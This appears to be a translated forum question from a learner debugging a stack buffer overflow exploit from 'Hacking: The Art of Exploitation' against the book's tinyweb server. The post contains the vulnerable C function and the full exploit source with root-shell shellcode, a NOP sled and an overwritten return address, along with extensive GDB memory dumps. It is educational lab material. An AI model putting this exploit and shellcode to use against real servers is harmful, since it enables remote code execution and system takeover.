Как исправить ошибку адреса возврата при переполнении буфера?

Я уже несколько дней работаю над переполнением буфера из Джона Эриксона «Искусство эксплуатации» , и я не понимаю, почему Я получаю ошибку сегментации. Насколько я могу судить, адрес возврата правильно перезаписывается адресом в цепочке NOP, но программа выдает ошибку сегментации каждый раз, когда достигает инструкции возврата в конце кадра стека.

Уязвимая часть кода - это length = recv_line (sockfd, request); , поскольку размер буфера никогда не проверяется. Вся функция, взятая из программы tinyweb, следует:

void (handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr)){
unsigned char *ptr, request[500], resource[500];
int fd, length;

printf("[DEBUG] hc:1 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
length = recv_line(sockfd, request);
printf("[DEBUG] hc:2 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);

printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);
printf("[DEBUG] hc:3 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);

ptr = strstr(request, " HTTP/");
if(ptr == NULL){
    printf(" NOT HTTP!\n");
} else {
    *ptr = 0;
    ptr = NULL;
    if(strncmp(request, "GET ", 4) == 0)
        ptr = request + 4;
    if(strncmp(request, "HEAD ", 5) ==0)
        ptr = request + 5;

    if(ptr == NULL){
        printf("\tUNKNOWN REQUEST!");
    } 
    else {
        if(ptr[strlen(ptr) -1] == '/')
            strcat(ptr, "index.html");
        strcpy(resource, WEBROOT);
        strcat(resource, ptr);
        fd = open(resource, O_RDONLY, 0);
        printf("\tOpening \'%s\'\t", resource);
        if(fd == -1){
            printf(" 404 Not Found\n");
            send_string(sockfd, "HTTP/1.0 404 NOT FOUND\r\n");
            send_string(sockfd, "Server: Tiny webserver\r\n\r\n");
            send_string(sockfd, "404 Not Found");
            send_string(sockfd, "

URL not found

\r\n"); } else{ printf(" 200 OK\n"); send_string(sockfd, "HTTP/1.0 200 OK\r\n"); send_string(sockfd, "Server Tiny webserver\r\n\r\n"); if(ptr == request + 4){ if( (length = get_file_size(fd)) == -1) fatal("getting resource file size"); if( (ptr = (unsigned char *) malloc(length)) == NULL) fatal("allocating memory for reading resource"); read(fd, ptr, length); send(sockfd, ptr, length, 0); free(ptr); } close(fd); } } } printf("Shutting down socket.\n"); shutdown(sockfd, SHUT_RDWR); printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd); }

Код эксплойта следует ниже-

#include 
#include 
#include 
#include 
#include 
#include 
#include 

#include "hacking.h"
#include "hacking-network.h"

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

#define OFFSET 524
#define RETADDR 0xbfdaf708

int main(int argc, char *argv[]){
int i, sockfd, buflen; //, count;
struct hostent *host_info;
struct sockaddr_in target_addr;
unsigned char buffer[600];

if(argc < 1){
    printf("Usage: %s  <# of A's to insert>\n", argv[0]);
    exit(1);
}

if((host_info = gethostbyname(argv[1])) == NULL)
    fatal("looking up hostname");

if((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
    fatal("in socket");

//count = atoi(argv[2]);
    //printf("Count: %d\n", count);
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(81);
target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);
memset(&(target_addr.sin_zero), '\0', 8);

if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
    fatal("connecting to target server");

bzero(buffer, 600); 
memset(buffer, '\x90', OFFSET);
*((u_int *)(buffer + OFFSET)) = RETADDR;
memcpy(buffer+300, shellcode, strlen(shellcode));
strcat(buffer, "\r\n"); 
printf("Exploit  buffer:\n");
dump(buffer, strlen(buffer));
send_string(sockfd, buffer);

exit(0);
}

Вот информация из GDB

:~/programs/c/exec$ ps aux | grep tinyweb
         2747  0.1  2.3  97432 48012 pts/1    Sl   Dec15   2:37 gedit tinyweb_exploit.c
root     12444  0.0  0.0   1688   248 pts/2    S+   18:32   0:00 ./tinyweb
         12456  0.0  0.0   4012   768 pts/0    S+   18:33   0:00 grep --color=auto tinyweb
:~/programs/c/exec$ sudo gdb -q --pid=12444 --symbols=./tinyweb

warning: not using untrusted file "/home/sam/.gdbinit"
Reading symbols from /home/sam/programs/c/exec/tinyweb...done.
Attaching to process 12444
Load new symbol table from "/home/sam/programs/c/exec/tinyweb"? (y or n) y
Reading symbols from /home/sam/programs/c/exec/tinyweb...done.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0x001c3416 in __kernel_vsyscall ()
(gdb) break 74
Breakpoint 1 at 0x8048e8c: file ../code/tinyweb.c, line 74.
(gdb) c
Continuing.

Breakpoint 1, handle_connection (sockfd=4, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
74      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr), 
    ntohs(client_addr_ptr->sin_port), request);
(gdb) x/16xw request + 500
0xbfcee1a4: 0x0099bad0  0x00aad4e0  0x0000000f  0xbfcee1c4
0xbfcee1b4: 0x00aacff4  0xbfcee218  0x08048e2f  0x00000004
0xbfcee1c4: 0xbfcee1e4  0x00000004  0xbfcee204  0x00000004
0xbfcee1d4: 0x0804aff4  0xbfcee1e8  0x08048658  0x00000010
(gdb) bt
#0  handle_connection (sockfd=4, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
#1  0x08048e2f in main () at ../code/tinyweb.c:60
(gdb) x/x request
0xbfcedfb0: 0x20544547
(gdb) p /x 0xbfcee1b4 + 8
$5 = 0xbfcee1bc
(gdb) p $5 - 0xbfcedfb0
$6 = 524
(gdb) p /x 0xbfcedfb0 + 200
$7 = 0xbfcee078
(gdb) c
Continuing.

Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
74      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr), 
ntohs(client_addr_ptr->sin_port), request);
(gdb) x/150xw request
0xbfcedfb0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedfc0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedfd0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedfe0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedff0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee000: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee010: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee020: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee030: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee040: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee050: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee060: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee070: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee080: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee090: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0a0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0b0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0c0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0d0: 0x90909090  0x90909090  0x90909090  0xdb31c031
0xbfcee0e0: 0xb099c931  0x6a80cda4  0x6851580b  0x68732f2f
0xbfcee0f0: 0x69622f68  0x51e3896e  0x8953e289  0x9080cde1
0xbfcee100: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee110: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee120: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee130: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee140: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee150: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee160: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee170: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee180: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee190: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee1a0: 0x90909090  0x90909090  0x90909090  0x00000211
0xbfcee1b0: 0x90909090  0x90909090  0x90909090  0xbfcee078
0xbfcee1c0: 0x0000000d  0xbfcee1e4  0x00000005  0xbfcee204
0xbfcee1d0: 0x00000004  0x0804aff4  0xbfcee1e8  0x08048658
0xbfcee1e0: 0x00000010  0xd4920002  0x0100007f  0x00000000
0xbfcee1f0: 0x00000000  0x51000002  0x00000000  0x00000000
0xbfcee200: 0x00000000  0x00000001
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x080491b1 in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:125
125 }
(gdb) i r eip
eip            0x80491b1    0x80491b1 
    (gdb) x/i 0x080491b1
=> 0x80491b1 :   ret    

Программа tinyweb запускается, а затем GDB присоединяется к программе. Точка останова устанавливается для определения расположения буфера в памяти (запрос @ 0xbfcedfb0 ). bt используется для определения текущего адреса возврата и его местоположения (адрес возврата 0x08048e2f , расположенный в 0xbfcee1bc ). Адрес возврата определяется как 524 байта от буфер. Эксплойт использует адрес возврата 200 байт в буфер и помещает туда 300 байт шелл-кода. После запуска эксплойта проверяется буфер, содержащий след NOP, шелл-код и четко показывающий исходный адрес возврата по адресу 0xbfcee1bc , который имел 0x08048e2f , теперь содержит адрес 0xbfcee078 , который явно является адресом в буфере, указывающим на NOP. Однако при продолжении программы возникает ошибка сегментации. После ошибки сегментации проверяется указатель инструкции, указывающий на строку в кадре стека соединения дескриптора. При осмотре это показывает инструкцию возврата.

Почему он выдает ошибку сегментации в инструкции возврата, когда там есть действующий адрес памяти, чтобы он мог вернуться к ??

Редактировать 1

Мне неловко, я не заметил этого бита шеллкода раньше. Опять же, я еще не получил возможность работать с более ранними эксплойтами благодаря ASLR, так что я никогда не смотрел так внимательно на шеллкод. В любом случае, вот что я изменил на-

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x89\xe3\x51\x89\xe2\x53\x89\xe1"
"\xcd\x80";

............1.1.1......j.XQh//bin/sh..Q..S.....

К сожалению, я смотрю на ту же проблему. У меня есть еще несколько GDB, показанных ниже. Насколько я могу судить, когда вызывается RET, переменная sockfd каким-то образом портится, но, как показывают распечатки DEBUG, sockfd не изменяется.Я попытался выполнить инструкции в конце, чтобы увидеть, что происходит, но это мало что раскрыло ...

[DEBUG] hc:3 sockfd is at bfefcae0 and contains 0x0000000d
 NOT HTTP!
 Shutting down socket.
[DEBUG] hc:4 sockfd is at bfefcae0 and contains 0x0000000d
Segmentation fault (core dumped)



(gdb) list 120
115                     send(sockfd, ptr, length, 0);
116                     free(ptr);
117                 }
118                 close(fd);
119             }
120         }
121     }
122     printf("Shutting down socket.\n");
123     shutdown(sockfd, SHUT_RDWR);
124     printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd); 
125 }
126 
127 int get_file_size(int fd){
128     struct stat stat_struct;
129     
130     if(fstat(fd, &stat_struct) == -1)
131         return -1;
132     return (int) stat_struct.st_size;
133 }
134     
(gdb) break 74
Breakpoint 1 at 0x8048e8c: file ../code/tinyweb.c, line 74.
(gdb) break 120
Breakpoint 2 at 0x804916f: file ../code/tinyweb.c, line 120.

Breakpoint 2, handle_connection (sockfd=13, client_addr_ptr=0xbfefcb04) at ../code/tinyweb.c:122
122     printf("Shutting down socket.\n");
(gdb) x/170xw request
0xbfefc8d0: 0x90909090  0x90909090  0x90909090  0x90909090
....Output Trimmed....
0xbfefc990: 0x90909090  0x90909090  0x90909090  0x90909090
                                    ^  
...Output Trimmed....               |________________________RET address location in NOP sled

0xbfefc9f0: 0x90909090  0x90909090  0x90909090  0xdb31c031
0xbfefca00: 0xb099c931  0x6a80cda4  0x6851580b  0x69622f2f
0xbfefca10: 0x68732f6e  0x8951e389  0xe18953e2  0x909080cd
0xbfefca20: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca30: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca40: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca50: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca60: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca70: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca80: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca90: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefcaa0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefcab0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefcac0: 0x90909090  0x00000000  0x90909090  0x00000211

0xbfefcad0: 0x90909090  0x90909090  0x90909090  0xbfefc998<= RET address

0xbfefcae0: 0x0000000d  0xbfefcb04  0x00000006  0xbfefcb24
0xbfefcaf0: 0x00000004  0x0804aff4  0xbfefcb08  0x08048658
0xbfefcb00: 0x00000010  0xd9a40002  0x0100007f  0x00000000
0xbfefcb10: 0x00000000  0x51000002  0x00000000  0x00000000
0xbfefcb20: 0x00000000  0x00000001  0x00000006  0x00000003
0xbfefcb30: 0x080491f0  0x00000000  0xbfefcbb8  0x00126ce7
0xbfefcb40: 0x00000001  0xbfefcbe4  0xbfefcbec  0xb7810848
0xbfefcb50: 0xbfefcc4c  0xffffffff  0x00b0dff4  0x08048497
0xbfefcb60: 0x00000001  0xbfefcba0  0x00aff136  0x00b0ead0
0xbfefcb70: 0xb7810b28  0x00268ff4

(gdb) bt
#0  handle_connection (sockfd=13, client_addr_ptr=0xbfefcb04) at ../code/tinyweb.c:122
#1  0xbfefc998 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

(gdb) x/20i $eip
=> 0x804916f :   movl   $0x804985b,(%esp)
   0x8049176 :   call   0x804880c 
   0x804917b :   mov    0x8(%ebp),%eax
   0x804917e :   movl   $0x2,0x4(%esp)
   0x8049186 :   mov    %eax,(%esp)
   0x8049189 :   call   0x804868c 
   0x804918e :   mov    0x8(%ebp),%edx
   0x8049191 :   mov    $0x8049874,%eax
   0x8049196 :   mov    %edx,0x8(%esp)
   0x804919a :   lea    0x8(%ebp),%edx
   0x804919d :   mov    %edx,0x4(%esp)
   0x80491a1 :   mov    %eax,(%esp)
   0x80491a4 :   call   0x804878c 
   0x80491a9 :   add    $0x414,%esp
   0x80491af :   pop    %ebx
   0x80491b0 :   pop    %ebp
   0x80491b1 :   ret    
   0x80491b2 :   push   %ebp
   0x80491b3 : mov    %esp,%ebp
   0x80491b5 : sub    $0x78,%esp
(gdb) s
123     shutdown(sockfd, SHUT_RDWR);
(gdb) x/x &sockfd
0xbfefcae0: 0x0000000d
(gdb) s
124     printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
(gdb) i r eip
eip            0x804918e    0x804918e 
(gdb) s
125 }
(gdb) x/10i $eip
=> 0x80491a9 :   add    $0x414,%esp
   0x80491af :   pop    %ebx
   0x80491b0 :   pop    %ebp
   0x80491b1 :   ret    
   0x80491b2 :   push   %ebp
   0x80491b3 : mov    %esp,%ebp
   0x80491b5 : sub    $0x78,%esp
   0x80491b8 : lea    -0x60(%ebp),%eax
   0x80491bb : mov    %eax,0x4(%esp)
   0x80491bf :    mov    0x8(%ebp),%eax
(gdb) si
0x080491af  125 }
(gdb) i r eip
eip            0x80491af    0x80491af 
(gdb) si
0x080491b0  125 }
(gdb) i r eip
eip            0x80491b0    0x80491b0 
(gdb) info registers
eax            0x3b 59
ecx            0xbfefc6a8   -1074805080
edx            0x26a360 2532192
ebx            0x90909090   -1869574000
esp            0xbfefcad8   0xbfefcad8
ebp            0xbfefcad8   0xbfefcad8
esi            0x0  0
edi            0x0  0
eip            0x80491b0    0x80491b0 
eflags         0x200286 [ PF SF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
(gdb) si
0x080491b1 in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:125
125 }
    (gdb) x/x sockfd
    Cannot access memory at address 0x90909098
    (gdb) x/x &sockfd
    0x90909098: Cannot access memory at address 0x90909098

Есть мысли относительно того, что происходит?

5
задан gr0k 17 December 2011 в 09:03
поделиться